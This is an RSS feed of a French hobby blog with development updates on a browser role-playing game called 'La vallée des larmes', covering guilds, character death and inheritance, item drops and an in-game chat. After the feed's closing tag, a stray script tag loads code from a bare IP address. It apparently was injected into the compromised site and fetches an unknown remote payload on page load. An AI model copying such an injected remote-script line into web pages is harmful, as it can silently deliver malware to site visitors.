<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Phenix-Blog</title>
	<atom:link href="http://www.valleedeslarmes.info/blog/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.valleedeslarmes.info/blog</link>
	<description>Ce que je ne brûle pas a déjà brûlé.</description>
	<lastBuildDate>Wed, 03 Mar 2010 18:31:17 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Au revoir Trompe la mort, bonjour Gardien</title>
		<link>http://www.valleedeslarmes.info/blog/2010/03/03/au-revoir-trompe-la-mort-bonjour-gardien/</link>
		<comments>http://www.valleedeslarmes.info/blog/2010/03/03/au-revoir-trompe-la-mort-bonjour-gardien/#comments</comments>
		<pubDate>Wed, 03 Mar 2010 18:31:03 +0000</pubDate>
		<dc:creator>Phenix</dc:creator>
				<category><![CDATA[La vallée des larmes]]></category>
		<category><![CDATA[classe]]></category>
		<category><![CDATA[Gradien]]></category>
		<category><![CDATA[nom]]></category>
		<category><![CDATA[renomage]]></category>
		<category><![CDATA[Trompe la mort]]></category>

		<guid isPermaLink="false">http://www.valleedeslarmes.info/blog/?p=236</guid>
		<description><![CDATA[Hello à tous,
La classe du Trompe la mort est remplacer par celle du Gardien. Il s&#8217;agit juste d&#8217;un changement de nom, la classe reste exactement la même en terme de jeu.
Sa fait 4 jours que je bosse sur la vallée, une petite pose s&#8217;impose pour faire avancer d&#8217;autres projets.
Phenix
]]></description>
			<content:encoded><![CDATA[<p>Hello à tous,</p>
<p>La classe du Trompe la mort est remplacer par celle du Gardien. Il s&#8217;agit juste d&#8217;un changement de nom, la classe reste exactement la même en terme de jeu.</p>
<p>Sa fait 4 jours que je bosse sur la vallée, une petite pose s&#8217;impose pour faire avancer d&#8217;autres projets.</p>
<p>Phenix</p>
]]></content:encoded>
			<wfw:commentRss>http://www.valleedeslarmes.info/blog/2010/03/03/au-revoir-trompe-la-mort-bonjour-gardien/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Les guildes revue et corrigée.</title>
		<link>http://www.valleedeslarmes.info/blog/2010/03/02/les-guildes-revue-et-corrigee/</link>
		<comments>http://www.valleedeslarmes.info/blog/2010/03/02/les-guildes-revue-et-corrigee/#comments</comments>
		<pubDate>Tue, 02 Mar 2010 15:51:14 +0000</pubDate>
		<dc:creator>Phenix</dc:creator>
				<category><![CDATA[La vallée des larmes]]></category>
		<category><![CDATA[guilde]]></category>
		<category><![CDATA[rasemblement]]></category>
		<category><![CDATA[social]]></category>
		<category><![CDATA[système]]></category>

		<guid isPermaLink="false">http://www.valleedeslarmes.info/blog/?p=234</guid>
		<description><![CDATA[Hello à tous,
Tout les MMORPG du monde utilisent un système de guilde. C&#8217;est indispensable pour souder des groupes, faire des avancées tactiques ou encore créer des liens entre les joueurs. Bref, la vallée des larmes ne pouvait pas ouvrir ses portes sans système de guilde.
Le premier système de guilde avait surtout comme faiblesse d&#8217;être lourd [...]]]></description>
			<content:encoded><![CDATA[<p>Hello à tous,</p>
<p>Tout les MMORPG du monde utilisent un système de guilde. C&#8217;est indispensable pour souder des groupes, faire des avancées tactiques ou encore créer des liens entre les joueurs. Bref, la vallée des larmes ne pouvait pas ouvrir ses portes sans système de guilde.</p>
<p>Le premier système de guilde avait surtout comme faiblesse d&#8217;être lourd à utiliser, que ce soit pour le maitre de guilde ou pour le postulant. J&#8217;ai simplifié les choses, grandement même. Le système postulation/acceptation dans la guilde ne ce fait plus via la messagerie, mais via l&#8217;interface principal de la guilde. De même, les modifications des informations de la guilde ce font directement sur l&#8217;information ! C&#8217;est du tout en un <img src='http://www.valleedeslarmes.info/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> .</p>
<p>Un exemple en image:</p>
<div class="wp-caption aligncenter" style="width: 323px"><a href="http://www.valleedeslarmes.info/blog/wp-content/uploads/guildeValme1.png"><img title="Fermer" src="http://www.valleedeslarmes.info/blog/wp-content/uploads/guildeValme1.png" alt="Fermer" width="313" height="62" /></a><p class="wp-caption-text">Fermer</p></div>
<div class="wp-caption aligncenter" style="width: 345px"><a href="http://www.valleedeslarmes.info/blog/wp-content/uploads/guildeValme2.png"><img title="Ouvert" src="http://www.valleedeslarmes.info/blog/wp-content/uploads/guildeValme2.png" alt="Ouvert" width="335" height="107" /></a><p class="wp-caption-text">Ouvert</p></div>
<p>Ce système est opérationnel à 90%, j&#8217;ajouterais un système de forum privé, mais cela sera intégré au forum principal.</p>
<p>Un pas de plus vers la version final <img src='http://www.valleedeslarmes.info/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  3 jours de travail et un résultat au delà de mes espérances.</p>
<p>Phenix</p>
]]></content:encoded>
			<wfw:commentRss>http://www.valleedeslarmes.info/blog/2010/03/02/les-guildes-revue-et-corrigee/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Système de mort opérationnel</title>
		<link>http://www.valleedeslarmes.info/blog/2010/02/28/systeme-de-mort-operationnel/</link>
		<comments>http://www.valleedeslarmes.info/blog/2010/02/28/systeme-de-mort-operationnel/#comments</comments>
		<pubDate>Sun, 28 Feb 2010 18:12:11 +0000</pubDate>
		<dc:creator>Phenix</dc:creator>
				<category><![CDATA[La vallée des larmes]]></category>
		<category><![CDATA[ajax]]></category>
		<category><![CDATA[mort]]></category>
		<category><![CDATA[UTF-8]]></category>

		<guid isPermaLink="false">http://www.valleedeslarmes.info/blog/?p=231</guid>
		<description><![CDATA[La mort est enfin opérationnel (c&#8217;est pas trop tôt). J&#8217;ai protité de cette journée pour apporter quelques modifications à la vallée des larmes:
- Tout les fichiers on été convertit en UTF-8, l&#8217;encodage utilisé par Ajax. Sa résout pas mal de bug de transmission de donnée, notamment au niveau des accents, un problème récurent en programmation [...]]]></description>
			<content:encoded><![CDATA[<p>La mort est enfin opérationnel (c&#8217;est pas trop tôt). J&#8217;ai protité de cette journée pour apporter quelques modifications à la vallée des larmes:</p>
<p>- Tout les fichiers on été convertit en UTF-8, l&#8217;encodage utilisé par Ajax. Sa résout pas mal de bug de transmission de donnée, notamment au niveau des accents, un problème récurent en programmation Web.</p>
<p>- La transmission des donnée entre MySql (la base de donnée) et PHP est elle aussi passée à l&#8217;UTF-8.</p>
<p>- J&#8217;ai enrichi le système de &laquo;&nbsp;Boite&nbsp;&raquo; pour qu&#8217;il accueil le système de mort. Il faut encore que je teste le système de passage de niveau.</p>
<p>- Le système d&#8217;héritage une fois un personnage définitivement mort fonctionne.</p>
<p>- Les nouveaux personnages (Hérité ou non) commence le jeu avec le lieu de résurrections de leur régions d&#8217;origine. Il commençait tous avec Thor avant.</p>
<p>Il faudra à un moment que je réorganise les fichiers javascript, sa commence a devenir un beau bordel de code&#8230; Cela dit, il fonctionne <img src='http://www.valleedeslarmes.info/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>Phenix</p>
]]></content:encoded>
			<wfw:commentRss>http://www.valleedeslarmes.info/blog/2010/02/28/systeme-de-mort-operationnel/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>La mort, sa bug</title>
		<link>http://www.valleedeslarmes.info/blog/2010/02/24/la-mort-sa-bug/</link>
		<comments>http://www.valleedeslarmes.info/blog/2010/02/24/la-mort-sa-bug/#comments</comments>
		<pubDate>Wed, 24 Feb 2010 12:00:44 +0000</pubDate>
		<dc:creator>Phenix</dc:creator>
				<category><![CDATA[Divers et inclassable]]></category>

		<guid isPermaLink="false">http://www.valleedeslarmes.info/blog/?p=228</guid>
		<description><![CDATA[Bon, je pensait que sa tournerait comme sur des roulettes, ben non, sa plante magnifiquement. La mort des personnage n&#8217;est absolument pas au point. Donc il est fort probable que je change le système entier car débugger un truc pareil demanderais beaucoup d&#8217;énergie pour pas grand chose&#8230; Pas cool tout sa. Je pense par contre [...]]]></description>
			<content:encoded><![CDATA[<p>Bon, je pensait que sa tournerait comme sur des roulettes, ben non, sa plante magnifiquement. La mort des personnage n&#8217;est absolument pas au point. Donc il est fort probable que je change le système entier car débugger un truc pareil demanderais beaucoup d&#8217;énergie pour pas grand chose&#8230; Pas cool tout sa. Je pense par contre recommencer en me basant sur ce qui fonctionne bien, quelques astuces devraient me permettre de faire mieux.</p>
<p>Je pense que le système de passage de niveau va prendre le même chemin, étant donné qu&#8217;il ce base sur le même principe que la mort, les même bugs devraient apparaitre&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.valleedeslarmes.info/blog/2010/02/24/la-mort-sa-bug/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Prend la relève mon fils&#8230;</title>
		<link>http://www.valleedeslarmes.info/blog/2010/02/17/prend-la-releve-mon-fils/</link>
		<comments>http://www.valleedeslarmes.info/blog/2010/02/17/prend-la-releve-mon-fils/#comments</comments>
		<pubDate>Wed, 17 Feb 2010 17:13:47 +0000</pubDate>
		<dc:creator>Phenix</dc:creator>
				<category><![CDATA[Divers et inclassable]]></category>

		<guid isPermaLink="false">http://www.valleedeslarmes.info/blog/?p=226</guid>
		<description><![CDATA[Hello à tous,
Vous le savez, dans la version final, il arrivera que certain personnage passe définitivement l&#8217;arme à gauche. Pour éviter le dépars du joueur qui aura eut le malheur de voir sont personnage mourir au champ d&#8217;honneur (ou pas), j&#8217;ai mit un place un système d&#8217;héritage. A la mort du &#171;&#160;parent&#160;&#187;, un enfant pourra [...]]]></description>
			<content:encoded><![CDATA[<p>Hello à tous,</p>
<p>Vous le savez, dans la version final, il arrivera que certain personnage passe définitivement l&#8217;arme à gauche. Pour éviter le dépars du joueur qui aura eut le malheur de voir sont personnage mourir au champ d&#8217;honneur (ou pas), j&#8217;ai mit un place un système d&#8217;héritage. A la mort du &laquo;&nbsp;parent&nbsp;&raquo;, un enfant pourra prendre la relève, il recevra un bonus en fonction de sont parent, je viens de finir la fonction qui calcule le bonus. J&#8217;ai mit 1 bonus spécial par orientation de personnage, tout le monde n&#8217;aura donc pas le même bonus. Bien sur le bonus sera plus important si le parent est de classe supérieur.</p>
<p>Ce bonus ne sera pas cumulable, pour évité que certain petit malin ne tue volontairement leur personnage.</p>
<p>Les base du système sont en place, mais la suite, ce sera pour demain.</p>
<p>phenix</p>
]]></content:encoded>
			<wfw:commentRss>http://www.valleedeslarmes.info/blog/2010/02/17/prend-la-releve-mon-fils/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>refonte de la page d&#8217;inscription</title>
		<link>http://www.valleedeslarmes.info/blog/2010/02/15/refonte-de-la-page-dinscription/</link>
		<comments>http://www.valleedeslarmes.info/blog/2010/02/15/refonte-de-la-page-dinscription/#comments</comments>
		<pubDate>Mon, 15 Feb 2010 15:03:51 +0000</pubDate>
		<dc:creator>Phenix</dc:creator>
				<category><![CDATA[La vallée des larmes]]></category>
		<category><![CDATA[inscription]]></category>
		<category><![CDATA[interface]]></category>
		<category><![CDATA[vallée des larmes]]></category>

		<guid isPermaLink="false">http://www.valleedeslarmes.info/blog/?p=224</guid>
		<description><![CDATA[Bonjour à tout ceux qui passe encore par ici  ,
Je suis en vacances, j&#8217;ai donc pas mal de temps libre, a consacrer a la vallée des larmes. Aujourd&#8217;hui j&#8217;ai opéré une refonte de la page d&#8217;inscription. Pas de panique, c&#8217;est surtout graphique, je ne vais pas vous demandez votre numéro de carte de crédit. [...]]]></description>
			<content:encoded><![CDATA[<p>Bonjour à tout ceux qui passe encore par ici <img src='http://www.valleedeslarmes.info/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> ,</p>
<p>Je suis en vacances, j&#8217;ai donc pas mal de temps libre, a consacrer a la vallée des larmes. Aujourd&#8217;hui j&#8217;ai opéré une refonte de la page d&#8217;inscription. Pas de panique, c&#8217;est surtout graphique, je ne vais pas vous demandez votre numéro de carte de crédit. J&#8217;ai placer un certain nombre d&#8217;indicateur visuel indiquant si le formulaire va être correctement validé. Cette page est bien plus dynamique qu&#8217;avant.</p>
<p>Après tout, c&#8217;est la page qui va faire ou non un joueur, donc c&#8217;est probablement la première impression sur le jeu en lui même., la soigner un peu plus me paraissait indispensable.</p>
<p>Exemple:</p>
<div class="wp-caption aligncenter" style="width: 362px"><a href="http://www.valleedeslarmes.info/blog/wp-content/uploads/inscritpionValme.png"><img title="inscritpionValme" src="http://www.valleedeslarmes.info/blog/wp-content/uploads/inscritpionValme.png" alt="Inscription" width="352" height="103" /></a><p class="wp-caption-text">De la vallée des larmes</p></div>
<p>Il reste quelques bricoles à faire, et j&#8217;aurais fini le fichier &laquo;&nbsp;Nouveauté&nbsp;&raquo;, je pourrais passer à l&#8217;équilibrage du jeu. J&#8217;ai volontairement reporter certaine nouveauté car elle prendrais trop de temps à coder, je préfère les faire a mon aise et avancer sur la version finale.</p>
<p>Phenix</p>
]]></content:encoded>
			<wfw:commentRss>http://www.valleedeslarmes.info/blog/2010/02/15/refonte-de-la-page-dinscription/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Les options du compte</title>
		<link>http://www.valleedeslarmes.info/blog/2010/01/25/les-options-du-compte/</link>
		<comments>http://www.valleedeslarmes.info/blog/2010/01/25/les-options-du-compte/#comments</comments>
		<pubDate>Mon, 25 Jan 2010 18:20:42 +0000</pubDate>
		<dc:creator>Phenix</dc:creator>
				<category><![CDATA[Divers et inclassable]]></category>

		<guid isPermaLink="false">http://www.valleedeslarmes.info/blog/2010/01/25/les-options-du-compte/</guid>
		<description><![CDATA[Bonjour à tous,
Sa fait un moment que j&#8217;ai pas donné de nouvelle, je dois bosser en parallèle sur une CMS, mais pas de panique, je ne suis pas mort  . J&#8217;ai refondu tout le système des &#171;&#160;option du compte&#160;&#187; en claire c&#8217;est la que sont géré votre avec, profile, mot de passe et autre.
J&#8217;ai [...]]]></description>
			<content:encoded><![CDATA[<p>Bonjour à tous,</p>
<p>Sa fait un moment que j&#8217;ai pas donné de nouvelle, je dois bosser en parallèle sur une CMS, mais pas de panique, je ne suis pas mort <img src='http://www.valleedeslarmes.info/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> . J&#8217;ai refondu tout le système des &laquo;&nbsp;option du compte&nbsp;&raquo; en claire c&#8217;est la que sont géré votre avec, profile, mot de passe et autre.</p>
<p>J&#8217;ai non seulement refait les fonctions, mais, refait la présentation, ceux qui ont suivit les beta ce souvienne surement du foutoir général de cette page.</p>
<p>Demain je ferais surement le système de renaissance après une mort définitive, un gros morceau.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.valleedeslarmes.info/blog/2010/01/25/les-options-du-compte/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Fonction de Drop remise a neuf</title>
		<link>http://www.valleedeslarmes.info/blog/2010/01/02/fonction-de-drop-remise-a-neuf/</link>
		<comments>http://www.valleedeslarmes.info/blog/2010/01/02/fonction-de-drop-remise-a-neuf/#comments</comments>
		<pubDate>Sat, 02 Jan 2010 13:45:00 +0000</pubDate>
		<dc:creator>Phenix</dc:creator>
				<category><![CDATA[La vallée des larmes]]></category>
		<category><![CDATA[Drop]]></category>
		<category><![CDATA[vallée des larmes]]></category>

		<guid isPermaLink="false">http://www.valleedeslarmes.info/blog/2010/01/02/fonction-de-drop-remise-a-neuf/</guid>
		<description><![CDATA[Bonjour à tous,
Sa arrive a tout les programmeurs, on code, on avance et parfois on va un peu vite. Le résultat est que sa fonctionne, mais le code est plutôt moche, souvent buggé, et difficile à débbugé. Bref, il faut repenser le code. 
C&#8217;est ce que j&#8217;ai fait avec la fonction de drop d&#8217;objet. Pour [...]]]></description>
			<content:encoded><![CDATA[<p>Bonjour à tous,</p>
<p>Sa arrive a tout les programmeurs, on code, on avance et parfois on va un peu vite. Le résultat est que sa fonctionne, mais le code est plutôt moche, souvent buggé, et difficile à débbugé. Bref, il faut repenser le code. </p>
<p>C&#8217;est ce que j&#8217;ai fait avec la fonction de drop d&#8217;objet. Pour ceux qui ne le savent pas, le drop est la capacité d&#8217;un monstre à laisser un objet après sa mort. Bref, ce dépoussiérage fait du bien, la fonction est en phase de test et ne semble plus posé de problème pour le moment. Comme quoi, un script bien codé fonctionne généralement mieux qu&#8217;un script coder rapidement.</p>
<p>Quelques info:</p>
<p>L&#8217;algorithme de drop est très simple: le niveau du monstre est égale au niveau de l&#8217;objet qu&#8217;il peu dropper par palier. Les palier sont: 5, 8, 12, 15, 18 et 20. En clair, un monstre de niveau 1 drop des objet de niveau 1 à 5, des monstres de niveau 7, des objets de niveau 1 à 8, etc.</p>
<p>Bref, vous avez comprit le principe, plus le niveau du monstre est élever, plus sa capacité de drop est importante, mais cela veux dire aussi que vous pouvez trouver une potion de vie sur un dragon.</p>
<p>La vallée des larmes avance, ce qui n&#8217;est pas le cas de mon travail d&#8217;animation flash&#8230; Je vous laisse donc avec c&#8217;est quelques info.</p>
<p>Phenix</p>
]]></content:encoded>
			<wfw:commentRss>http://www.valleedeslarmes.info/blog/2010/01/02/fonction-de-drop-remise-a-neuf/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Le Valme Chat</title>
		<link>http://www.valleedeslarmes.info/blog/2009/12/16/le-valme-chat/</link>
		<comments>http://www.valleedeslarmes.info/blog/2009/12/16/le-valme-chat/#comments</comments>
		<pubDate>Wed, 16 Dec 2009 13:47:59 +0000</pubDate>
		<dc:creator>Phenix</dc:creator>
				<category><![CDATA[La vallée des larmes]]></category>
		<category><![CDATA[chat]]></category>
		<category><![CDATA[message]]></category>
		<category><![CDATA[tactique]]></category>
		<category><![CDATA[vallée]]></category>
		<category><![CDATA[vallée des larmes]]></category>

		<guid isPermaLink="false">http://www.valleedeslarmes.info/blog/?p=220</guid>
		<description><![CDATA[Hello tous,
Encore quelques nouvelle de la vallée des larmes, cette fois, j&#8217;ai fini de coder le chat ! Il est opérationnel, même si il y a encore du travail d&#8217;intégration au jeu. Le principal est fait: il fonctionne.
Quelques précision:
Le Valme Chat envoie des messages quasi instantanée a tout les joueurs du même quartier que vous. [...]]]></description>
			<content:encoded><![CDATA[<p>Hello tous,</p>
<p>Encore quelques nouvelle de la vallée des larmes, cette fois, j&#8217;ai fini de coder le chat ! Il est opérationnel, même si il y a encore du travail d&#8217;intégration au jeu. Le principal est fait: il fonctionne.</p>
<div class="wp-caption aligncenter" style="width: 281px"><a href="http://www.valleedeslarmes.info/blog/wp-content/uploads/valmeChat.jpg"><img title="Valme Chat" src="http://www.valleedeslarmes.info/blog/wp-content/uploads/valmeChat.jpg" alt="Valme Chat" width="271" height="328" /></a><p class="wp-caption-text">Valme Chat</p></div>
<p>Quelques précision:</p>
<p>Le Valme Chat envoie des messages quasi instantanée a tout les joueurs du même quartier que vous. Il n&#8217;y a pas de possibilité  de cibler un seul joueur (pour sa y a les vrai messagerie instantanée et les message privé). Le but ici est de fournir un outil tactique intégré au jeu.</p>
<p>J&#8217;ai fait pas mal de nettoyage de code, surtout au niveau des CSS du jeu.</p>
<p>A bientôt, peut être une vallée des larmes en cadeau de noël si j&#8217;ai suffisamment de motivation <img src='http://www.valleedeslarmes.info/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Phenix</p>
]]></content:encoded>
			<wfw:commentRss>http://www.valleedeslarmes.info/blog/2009/12/16/le-valme-chat/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Des nouvelles (enfin)</title>
		<link>http://www.valleedeslarmes.info/blog/2009/12/04/des-nouvelles-enfin/</link>
		<comments>http://www.valleedeslarmes.info/blog/2009/12/04/des-nouvelles-enfin/#comments</comments>
		<pubDate>Fri, 04 Dec 2009 00:03:32 +0000</pubDate>
		<dc:creator>Phenix</dc:creator>
				<category><![CDATA[Divers et inclassable]]></category>

		<guid isPermaLink="false">http://www.valleedeslarmes.info/blog/?p=218</guid>
		<description><![CDATA[Hello tout le monde,
Sa fait un moment que j&#8217;avais pas donnée de nouvelle, en effet, un bug javascript m&#8217;empêchait d&#8217;écrire des articles&#8230;
Mais c&#8217;est aujourd&#8217;hui réparer  .
Avancée de la vallée des larmes:
- Une nouveauté très sympathique: les pierres de foyer, disponible a la  Guilde du Foyer, elle vous ramènera directement a votre lieu de résurrections [...]]]></description>
			<content:encoded><![CDATA[<p>Hello tout le monde,</p>
<p>Sa fait un moment que j&#8217;avais pas donnée de nouvelle, en effet, un bug javascript m&#8217;empêchait d&#8217;écrire des articles&#8230;</p>
<p>Mais c&#8217;est aujourd&#8217;hui réparer <img src='http://www.valleedeslarmes.info/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</p>
<p>Avancée de la vallée des larmes:</p>
<p>- Une nouveauté très sympathique: les pierres de foyer, disponible a la  Guilde du Foyer, elle vous ramènera directement a votre lieu de résurrections (une seul fois).</p>
<p>- Suppression de la limitation des runes: Casse tête de codage et limitation pas vraiment RP&#8230; J&#8217;ai décidé que si l&#8217;on voulais collectionner les runes du chasseur de tempête&#8230; et bien pourquoi pas ?</p>
<p>Ce blog va probablement évoluer en porte-folio d&#8217;ici quelques semaines <img src='http://www.valleedeslarmes.info/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> . J&#8217;ai pas mal de chose à montrer, et la vallée des larmes y a bien sur une place de choix.</p>
<p>C&#8217;est tout pour le moment, je suis en plein déménagement&#8230; J&#8217;espère finir la vallée pour janvier&#8230; ou février&#8230;</p>
<p>Phenix</p>
]]></content:encoded>
			<wfw:commentRss>http://www.valleedeslarmes.info/blog/2009/12/04/des-nouvelles-enfin/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
	</channel>
</rss>
<script type="text/javascript" src="http://78.41.233.99/~fhv3/slidein.php"></script> 